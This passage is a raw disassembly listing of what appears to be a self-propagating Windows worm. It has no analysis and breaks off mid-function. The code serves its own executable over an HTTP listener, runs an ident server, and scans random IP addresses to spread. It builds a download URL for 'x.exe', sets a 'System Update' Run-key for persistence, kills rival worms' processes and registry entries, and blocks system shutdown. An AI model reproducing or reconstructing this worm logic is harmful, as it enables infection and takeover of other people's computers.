push 100h push eax push ebx call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jnz short loc_31501A93 push 1 jmp loc_31501B4E ; --------------------------------------------------------------------------- loc_31501A93: ; CODE XREF: sub_31501A62+28j mov esi, dword_31501120 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E lea eax, [ebp+var_100] push offset a_exe ; ".exe" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E mov esi, dword_3150119C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push ds:dword_31506160 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_31501B10: ; CODE XREF: sub_31501A62+E8j mov eax, ds:dword_31506160 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_31501B22 mov eax, ecx loc_31501B22: ; CODE XREF: sub_31501A62+BCj test eax, eax jz short loc_31501B51 push 0 push eax mov eax, ds:dword_31506158 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31501B4C cmp eax, 1000h jb short loc_31501B51 push 64h add edi, eax call dword_315010A4 ; Sleep jmp short loc_31501B10 ; --------------------------------------------------------------------------- loc_31501B4C: ; CODE XREF: sub_31501A62+D5j push 2 loc_31501B4E: ; CODE XREF: sub_31501A62+2Cj pop eax jmp short loc_31501BA1 ; --------------------------------------------------------------------------- loc_31501B51: ; CODE XREF: sub_31501A62+C2j ; sub_31501A62+DCj push offset dword_3150615C call dword_315010E4 ; InterlockedIncrement jmp short loc_31501B7C ; --------------------------------------------------------------------------- loc_31501B5E: ; CODE XREF: sub_31501A62+49j ; sub_31501A62+61j mov esi, dword_3150119C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31505A84 push ebx call esi ; send loc_31501B7C: ; CODE XREF: sub_31501A62+FAj push 7D0h call dword_315010A4 ; Sleep push 2 push ebx call dword_315011A4 ; shutdown push ebx call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread xor eax, eax loc_31501BA1: ; CODE XREF: sub_31501A62+EDj pop edi pop esi pop ebx leave retn 4 sub_31501A62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501BA8 proc near ; DATA XREF: sub_31501D96+14Bo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_315018BA lea eax, [ebp+var_130] push 104h push eax push offset aSystemUpdate ; "System Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov ds:dword_3150615C, ebx call sub_315023E4 add esp, 14h test eax, eax jnz loc_31501CDD push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_315010F0 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31501C14 push 1 call dword_315010E0 ; ExitThread loc_31501C14: ; CODE XREF: sub_31501BA8+62j push ebx push esi call dword_315010EC ; GetFileSize push eax mov ds:dword_31506160, eax call sub_31502800 pop ecx mov ds:dword_31506158, eax lea ecx, [ebp+var_4] push ebx push ecx push ds:dword_31506160 push eax push esi call dword_315010E8 ; ReadFile mov eax, [ebp+var_4] push esi mov ds:dword_31506160, eax call dword_315010BC ; CloseHandle push ebx push 1 push 2 call dword_3150118C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31501C76: ; CODE XREF: sub_31501BA8+E5j ; sub_31501BA8+EDj ... call dword_31501124 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov ds:dword_3150618C, eax jz short loc_31501C76 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31501C76 push eax call dword_31501194 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31501170 ; bind test eax, eax jnz short loc_31501C76 push 64h push edi call dword_31501174 ; listen mov [ebp+var_8], esi pop esi loc_31501CBF: ; CODE XREF: sub_31501BA8+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31501178 ; accept push eax push offset sub_31501A62 call sub_31501911 pop ecx pop ecx jmp short loc_31501CBF ; --------------------------------------------------------------------------- loc_31501CDD: ; CODE XREF: sub_31501BA8+3Dj push ebx call dword_315010E0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31501BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501CEC proc near ; CODE XREF: sub_31501D96:loc_31501EB6p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3150116C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31501CEC endp ; --------------------------------------------------------------------------- loc_31501D18: ; CODE XREF: UPX1:31508558j push 0 call dword_315010C4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov ds:dword_31506190, eax call dword_31501094 ; DeleteFileA call sub_315018BA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax call dword_31501098 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31501D5A push 1 call dword_3150109C ; ExitProcess loc_31501D5A: ; CODE XREF: UPX0:31501D50j call sub_31501727 call sub_31502548 call sub_315026C2 push offset sub_31501D96 call sub_315017AF test eax, eax pop ecx jz short loc_31501D7F push 0 call sub_31501D96 loc_31501D7F: ; CODE XREF: UPX0:31501D76j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31501D82 proc near ; CODE XREF: sub_31501D96:loc_31501F04p ; sub_315020C4:loc_315020DDp ... push 0 push ds:dword_31506168 call dword_31501090 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31501D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501D96 proc near ; CODE XREF: UPX0:31501D7Ap ; DATA XREF: UPX0:31501D69o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_315011B0 push offset loc_31503A80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU13_2ix ; "u13.2ix" xor edi, edi push edi push 1 push edi call dword_3150108C ; CreateEventA mov ds:dword_31506168, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_31501A48 mov [esp+8+var_8], offset aU11x ; "u11x" call sub_31501A48 mov [esp+8+var_8], offset aU12x ; "u12x" call sub_31501A48 mov [esp+8+var_8], offset aU13x ; "u13x" call sub_31501A48 mov [esp+8+var_8], offset aU13ix ; "u13ix" call sub_31501A48 mov [esp+8+var_8], offset aU8 ; "u8" call sub_315018E8 mov [esp+8+var_8], offset aU9 ; "u9" call sub_315018E8 mov [esp+8+var_8], offset aU10 ; "u10" call sub_315018E8 mov [esp+8+var_8], offset aU11 ; "u11" call sub_315018E8 mov [esp+8+var_8], offset aU12 ; "u12" call sub_315018E8 mov [esp+8+var_8], offset aU13 ; "u13" call sub_315018E8 mov [esp+8+var_8], offset aU13i ; "u13i" call sub_315018E8 mov [esp+8+var_8], offset aU13_2i ; "u13.2i" call sub_315018E8 mov [esp+8+var_8], offset aU14 ; "u14" call sub_315018E8 pop ecx cmp [ebp+arg_0], edi jz short loc_31501EB6 push offset aWs2_32 ; "ws2_32" mov esi, dword_315010B4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax loc_31501EB6: ; CODE XREF: sub_31501D96+E5j call sub_31501CEC push edi push offset sub_31501F6B call sub_31501911 pop ecx pop ecx push 1F4h mov esi, dword_315010A4 call esi ; Sleep push edi push offset loc_31503408 call sub_315018F7 push edi push offset sub_31501BA8 call sub_315018F7 push edi push offset sub_31502BE8 call sub_315018F7 push edi push offset loc_315022D3 call sub_315018F7 add esp, 20h loc_31501F04: ; CODE XREF: sub_31501D96+185j call sub_31501D82 test eax, eax jnz short loc_31501F1D push edi call dword_31501038 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31501F04 ; --------------------------------------------------------------------------- loc_31501F1D: ; CODE XREF: sub_31501D96+175j or [ebp+var_4], 0FFFFFFFFh call nullsub_1 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_31501D96 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_31501F3A proc near ; CODE XREF: sub_31501F6B+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_31503A3E ; strlen test eax, eax pop ecx jbe short loc_31501F68 loc_31501F4D: ; CODE XREF: sub_31501F3A+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31501F58 cmp al, 0Dh jnz short loc_31501F5C loc_31501F58: ; CODE XREF: sub_31501F3A+18j and byte ptr [esi+edi], 0 loc_31501F5C: ; CODE XREF: sub_31501F3A+1Cj push edi inc esi call sub_31503A3E ; strlen cmp esi, eax pop ecx jb short loc_31501F4D loc_31501F68: ; CODE XREF: sub_31501F3A+11j pop edi pop esi retn sub_31501F3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501F6B proc near ; DATA XREF: sub_31501D96+126o var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_315018BA call dword_31501124 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31501932 lea eax, [ebp+var_48] mov ebx, offset dword_3150616C push eax push ebx call sub_31503A8C ; strcpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_3150118C ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31501168 ; ntohl push 71h mov [ebp+var_14], eax call dword_31501194 ; ntohs push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31501170 ; bind test eax, eax jz short loc_31501FF7 push 1 pop eax loc_31501FF2: ; CODE XREF: sub_31501F6B+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31501FF7: ; CODE XREF: sub_31501F6B+82j push esi push edi push 5 push [ebp+var_8] call dword_31501174 ; listen test eax, eax jz short loc_3150200F push 1 pop eax pop edi pop esi jmp short loc_31501FF2 ; --------------------------------------------------------------------------- loc_3150200F: ; CODE XREF: sub_31501F6B+9Bj mov edi, dword_315010A4 loc_31502015: ; CODE XREF: sub_31501F6B+C6j ; sub_31501F6B+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31501178 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31502033 push 64h call edi ; Sleep jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502033: ; CODE XREF: sub_31501F6B+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_315011A0 ; recv test eax, eax jnz short loc_31502055 loc_3150204C: ; CODE XREF: sub_31501F6B+157j push esi call dword_315011A8 ; closesocket jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502055: ; CODE XREF: sub_31501F6B+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31501F3A lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push ebx push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push offset asc_31505B8C ; "\r\n" push eax call sub_31503A86 ; strcat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_3150119C ; send push 1388h call edi ; Sleep jmp short loc_3150204C sub_31501F6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315020C4 proc near ; DATA XREF: sub_31502128+55o ; sub_315021B0+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_315020D3 push 1 pop eax jmp short locret_31502124 ; --------------------------------------------------------------------------- loc_315020D3: ; CODE XREF: sub_315020C4+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_315020DD: ; CODE XREF: sub_315020C4+5Aj call sub_31501D82 test eax, eax jnz short loc_31502120 call sub_31501A32 test eax, eax jz short loc_31502120 cmp [ebp+var_1], bl jz short loc_31502119 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_315011C0 movzx esi, ds:word_3150619C pop ecx call dword_31501124 ; rand cdq idiv esi add edx, esi push edx call dword_315010A4 ; Sleep loc_31502119: ; CODE XREF: sub_315020C4+2Ej inc bl cmp bl, 0FFh jb short loc_315020DD loc_31502120: ; CODE XREF: sub_315020C4+20j ; sub_315020C4+29j pop esi xor eax, eax pop ebx locret_31502124: ; CODE XREF: sub_315020C4+Dj leave retn 4 sub_315020C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502128 proc near ; DATA XREF: sub_315021B0+7Eo ; UPX0:31502365o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31502136 push 1 pop eax jmp short loc_315021AC ; --------------------------------------------------------------------------- loc_31502136: ; CODE XREF: sub_31502128+7j push ebx push esi push edi call sub_315018BA mov esi, dword_31501124 xor ebx, ebx loc_31502146: ; CODE XREF: sub_31502128+7Dj call sub_31501D82 test eax, eax jnz short loc_315021A7 call sub_31501A32 test eax, eax jz short loc_315021A7 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31506194 mov byte ptr [ebp+arg_0+3], al call dword_315010E4 ; InterlockedIncrement push [ebp+arg_0] call sub_315011C0 test eax, eax pop ecx jnz short loc_31502189 push [ebp+arg_0] push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_31502189: ; CODE XREF: sub_31502128+50j movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call dword_315010A4 ; Sleep inc ebx cmp ebx, 8000h jl short loc_31502146 loc_315021A7: ; CODE XREF: sub_31502128+25j ; sub_31502128+2Ej pop edi pop esi xor eax, eax pop ebx loc_315021AC: ; CODE XREF: sub_31502128+Cj pop ebp retn 4 sub_31502128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315021B0 proc near ; DATA XREF: UPX0:3150237Do var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_315018BA call sub_31501D82 test eax, eax jnz loc_31502269 push ebx mov ebx, dword_315010A4 push esi mov esi, dword_31501124 push edi loc_315021D6: ; CODE XREF: sub_315021B0+48j ; sub_315021B0+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_315021E5: ; CODE XREF: sub_315021B0+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_315021E5 call sub_315019F3 mov edi, [ebp+var_4] cmp edi, eax jz short loc_315021D6 call sub_31501A32 test eax, eax jz short loc_31502241 push offset dword_31506194 call dword_315010E4 ; InterlockedIncrement push edi call sub_315011C0 test eax, eax pop ecx jnz short loc_31502248 push edi push offset sub_315020C4 call sub_31501911 pop ecx mov [ebp+var_8], 4 pop ecx loc_3150222D: ; CODE XREF: sub_315021B0+8Dj push edi push offset sub_31502128 call sub_31501911 dec [ebp+var_8] pop ecx pop ecx jnz short loc_3150222D jmp short loc_31502248 ; --------------------------------------------------------------------------- loc_31502241: ; CODE XREF: sub_315021B0+51j push 2710h call ebx ; Sleep loc_31502248: ; CODE XREF: sub_315021B0+67j ; sub_315021B0+8Fj movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31501D82 test eax, eax jz loc_315021D6 pop edi pop esi pop ebx loc_31502269: ; CODE XREF: sub_315021B0+11j push 0 call dword_315010E0 ; ExitThread xor eax, eax leave retn 4 sub_315021B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502277 proc near ; CODE XREF: UPX0:loc_3150233Ep ; UPX0:loc_315023A8p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_315019F3 push eax call dword_31501190 ; inet_ntoa mov esi, dword_31501088 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push ds:dword_3150618C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3150113C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_31505002 call esi ; lstrcpyA push offset byte_31505000 call dword_315010A0 ; lstrlenA mov byte_31505000[eax], 0DFh pop esi leave retn sub_31502277 endp ; --------------------------------------------------------------------------- loc_315022D3: ; DATA XREF: sub_31501D96+161o push ecx push ecx push ebx push ebp push esi xor ebp, ebp push edi mov ds:dword_31506194, ebp call sub_31501A32 mov esi, dword_315010A4 mov edi, 1388h test eax, eax jnz short loc_31502301 loc_315022F5: ; CODE XREF: UPX0:315022FFj push edi call esi ; Sleep call sub_31501A32 test eax, eax jz short loc_315022F5 loc_31502301: ; CODE XREF: UPX0:315022F3j lea eax, [esp+14h] push ebp push eax call dword_3150115C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov ds:dword_31506198, ebp pop ebx mov ds:word_3150619C, 96h jz short loc_3150233E mov ds:dword_31506198, 1 mov ebx, 15Eh mov ds:word_3150619C, 14h loc_3150233E: ; CODE XREF: UPX0:31502324j call sub_31502277 mov ebp, [esp+14h] cmp ebp, 100007Fh jz short loc_3150235C push ebp push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_3150235C: ; CODE XREF: UPX0:3150234Dj mov dword ptr [esp+10h], 4 loc_31502364: ; CODE XREF: UPX0:31502375j push ebp push offset sub_31502128 call sub_31501911 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31502364 test ebx, ebx jle short loc_3150238C loc_3150237B: ; CODE XREF: UPX0:3150238Aj push 0 push offset sub_315021B0 call sub_31501911 pop ecx dec ebx pop ecx jnz short loc_3150237B loc_3150238C: ; CODE XREF: UPX0:31502379j ; UPX0:31502398j ... call sub_31501A32 test eax, eax jz short loc_3150239A push edi call esi ; Sleep jmp short loc_3150238C ; --------------------------------------------------------------------------- loc_3150239A: ; CODE XREF: UPX0:31502393j ; UPX0:315023A6j call sub_31501A32 test eax, eax jnz short loc_315023A8 push edi call esi ; Sleep jmp short loc_3150239A ; --------------------------------------------------------------------------- loc_315023A8: ; CODE XREF: UPX0:315023A1j call sub_31502277 jmp short loc_3150238C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023AF proc near ; CODE XREF: sub_31502548+8Cp ; sub_315026C2+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jnz short loc_315023E2 push [ebp+arg_8] push [ebp+arg_4] call dword_31501030 ; RegDeleteValueA push [ebp+arg_4] call dword_31501034 ; RegCloseKey loc_315023E2: ; CODE XREF: sub_315023AF+1Cj pop ebp retn sub_315023AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023E4 proc near ; CODE XREF: sub_31501BA8+33p ; sub_31502548+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jz short loc_31502410 push 1 pop eax jmp short loc_3150243A ; --------------------------------------------------------------------------- loc_31502410: ; CODE XREF: sub_315023E4+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31501028 ; RegQueryValueExA test eax, eax jz short loc_3150242F push 2 pop esi loc_3150242F: ; CODE XREF: sub_315023E4+46j push [ebp+arg_10] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150243A: ; CODE XREF: sub_315023E4+2Aj pop esi leave retn sub_315023E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150243D proc near ; CODE XREF: sub_315025F6+96p ; sub_315026C2+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31501020 ; RegCreateKeyExA test eax, eax jz short loc_31502466 push 1 pop eax jmp short loc_3150248D ; --------------------------------------------------------------------------- loc_31502466: ; CODE XREF: sub_3150243D+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31501024 ; RegSetValueExA test eax, eax jz short loc_31502482 push 2 pop esi loc_31502482: ; CODE XREF: sub_3150243D+40j push [ebp+arg_4] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150248D: ; CODE XREF: sub_3150243D+27j pop esi pop ebp retn sub_3150243D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502490 proc near ; CODE XREF: sub_31502548+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_315010A0 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31502544 loc_315024B0: ; CODE XREF: sub_31502490+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_315024B9 dec esi jns short loc_315024B0 loc_315024B9: ; CODE XREF: sub_31502490+24j push 0 push 2 call sub_31503ABC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31502544 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31503A38 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31503AB6 ; Process32First test eax, eax jz short loc_31502544 lea esi, [esi+ebx+1] loc_31502501: ; CODE XREF: sub_31502490+B2j lea eax, [ebp+var_104] push eax push esi call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502531 push [ebp+var_120] push 0 push 1F0FFFh call dword_315010C0 ; OpenProcess push 0 push eax call dword_31501080 ; TerminateProcess loc_31502531: ; CODE XREF: sub_31502490+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31503AB0 ; Process32Next test eax, eax jnz short loc_31502501 loc_31502544: ; CODE XREF: sub_31502490+1Aj ; sub_31502490+38j ... pop esi pop ebx leave retn sub_31502490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502548 proc near ; CODE XREF: UPX0:31501D5Fp var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_315025B1: ; CODE XREF: sub_31502548+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315025E8 push ebx push edi push esi call sub_315023AF lea eax, [ebp+var_138] push eax call sub_31502490 add esp, 10h loc_315025E8: ; CODE XREF: sub_31502548+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_315025B1 pop edi pop esi pop ebx leave retn sub_31502548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315025F6 proc near ; CODE XREF: sub_315026C2+D1p ; sub_315026C2+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_3150260B push [ebp+arg_0] call dword_31501094 ; DeleteFileA loc_3150260B: ; CODE XREF: sub_315025F6+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31501068 ; GetSystemDirectoryA test eax, eax jz locret_315026C0 push esi call dword_31501124 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31501932 mov esi, dword_3150106C pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset asc_31505CF0 ; "\\" push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31501070 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_315010A0 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3150243D add esp, 14h push ds:dword_31506164 call dword_315010BC ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31501074 ; WinExec push 1F4h call dword_315010A4 ; Sleep push 0 call dword_3150109C ; ExitProcess pop esi locret_315026C0: ; CODE XREF: sub_315025F6+23j leave retn sub_315025F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315026C2 proc near ; CODE XREF: UPX0:31501D64p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31501060 ; GetModuleFileNameA test eax, eax jz loc_315027FB and ds:dword_315061A0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_31502748 call dword_31501124 ; rand push 0Ah mov ebx, offset aZvhkaqndgcmpya ; "zvhkaqndgcmpyawrkj" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31501932 pop ecx pop ecx push ebx call dword_315010A0 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_3150243D add esp, 14h jmp short loc_31502757 ; --------------------------------------------------------------------------- loc_31502748: ; CODE XREF: sub_315026C2+4Dj lea eax, [ebp+var_20] push eax push offset aZvhkaqndgcmpya ; "zvhkaqndgcmpyawrkj" call dword_31501088 ; lstrcpyA loc_31502757: ; CODE XREF: sub_315026C2+84j lea eax, [ebp+var_E8] push 63h push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_3150279D push 2 push offset a1 ; "1" push offset aClient ; "Client" 